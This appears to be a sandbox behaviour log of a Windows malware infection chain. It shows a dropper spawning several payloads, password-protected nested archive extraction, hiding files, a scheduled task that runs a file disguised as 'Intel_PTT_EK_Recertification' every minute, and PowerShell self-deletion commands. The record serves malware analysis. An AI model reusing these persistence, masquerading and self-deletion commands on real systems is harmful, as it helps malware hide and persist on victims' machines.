Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe "C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe "C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe "C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe "C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe "C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe "C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe "C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Process created: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: cryptbase.dll
